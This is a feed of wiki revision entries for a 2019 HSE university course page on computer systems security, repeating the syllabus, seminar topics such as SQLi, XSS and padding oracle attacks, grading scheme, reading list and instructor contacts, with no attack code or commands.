# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]&lt;br /&gt;
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
# (09.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]&lt;br /&gt;
# (16.12)&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=35322</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=35322"/>
		<updated>2019-09-25T09:49:24Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (23.09) Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.&lt;br /&gt;
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.&lt;br /&gt;
# (07.10) Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.&lt;br /&gt;
# (14.10) Безопасность приложений. Аутентификация и авторизация.&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.&lt;br /&gt;
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода. &lt;br /&gt;
# (11.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly. &lt;br /&gt;
# (18.11) Механизмы безопасности приложений в операционных системах.&lt;br /&gt;
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.&lt;br /&gt;
# (02.12) Криптография, Асимметричные шифры и атаки на них.&lt;br /&gt;
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.&lt;br /&gt;
# (16.12) Заключительная лекция.&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]&lt;br /&gt;
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]&lt;br /&gt;
# (14.10) Семинара нет.&lt;br /&gt;
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (11.11) [[Бинарные программы. Уязвимости переполнения кучи.]]&lt;br /&gt;
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]&lt;br /&gt;
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
# (09.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]&lt;br /&gt;
# (16.12)&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=35321</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=35321"/>
		<updated>2019-09-25T09:41:51Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: /* План курса */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (16.09) Безопасность приложений. Мобильные приложения и их уязвимости.&lt;br /&gt;
# (23.09) Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.&lt;br /&gt;
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.&lt;br /&gt;
# (07.10) Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.&lt;br /&gt;
# (14.10) Безопасность приложений. Аутентификация и авторизация.&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.&lt;br /&gt;
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода. &lt;br /&gt;
# (11.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly. &lt;br /&gt;
# (18.11) Механизмы безопасности приложений в операционных системах.&lt;br /&gt;
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.&lt;br /&gt;
# (02.12) Криптография, Асимметричные шифры и атаки на них.&lt;br /&gt;
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.&lt;br /&gt;
# (16.12) Заключительная лекция.&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]&lt;br /&gt;
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]&lt;br /&gt;
# (14.10) Семинара нет.&lt;br /&gt;
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (11.11) [[Бинарные программы. Уязвимости переполнения кучи.]]&lt;br /&gt;
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]&lt;br /&gt;
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
# (09.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]&lt;br /&gt;
# (16.12)&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=35320</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=35320"/>
		<updated>2019-09-25T09:40:52Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: /* План курса */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (16.09) Безопасность приложений. Мобильные приложения и их уязвимости.&lt;br /&gt;
# (23.09) Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.&lt;br /&gt;
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.&lt;br /&gt;
# (07.10) Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.&lt;br /&gt;
# (14.10) Безопасность приложений. Аутентификация и авторизация.&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.&lt;br /&gt;
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода. &lt;br /&gt;
# (11.11) Механизмы безопасности приложений в операционных системах. &lt;br /&gt;
# (18.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.&lt;br /&gt;
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.&lt;br /&gt;
# (02.12) Криптография, Асимметричные шифры и атаки на них.&lt;br /&gt;
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.&lt;br /&gt;
# (16.12) Заключительная лекция.&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]&lt;br /&gt;
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]&lt;br /&gt;
# (14.10) Семинара нет.&lt;br /&gt;
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (11.11) [[Бинарные программы. Уязвимости переполнения кучи.]]&lt;br /&gt;
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]&lt;br /&gt;
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
# (09.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]&lt;br /&gt;
# (16.12)&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=35255</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=35255"/>
		<updated>2019-09-23T10:12:14Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: /* План курса */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (16.09) Безопасность приложений. Мобильные приложения и их уязвимости.&lt;br /&gt;
# (23.09) Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.&lt;br /&gt;
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.&lt;br /&gt;
# (07.10) Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.&lt;br /&gt;
# (14.10) Безопасность приложений. Аутентификация и авторизация.&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.&lt;br /&gt;
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода. &lt;br /&gt;
# (11.11) Механизмы безопасности приложений в операционных системах. &lt;br /&gt;
# (18.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.&lt;br /&gt;
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.&lt;br /&gt;
# (02.12) Криптография, Асимметричные шифры и атаки на них.&lt;br /&gt;
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.&lt;br /&gt;
# (16.12) Заключительная лекция.&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]&lt;br /&gt;
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]&lt;br /&gt;
# (14.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (04.11) [[Бинарные программы. Обратная разработка программ.]]&lt;br /&gt;
# (11.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (18.11) &lt;br /&gt;
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]&lt;br /&gt;
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
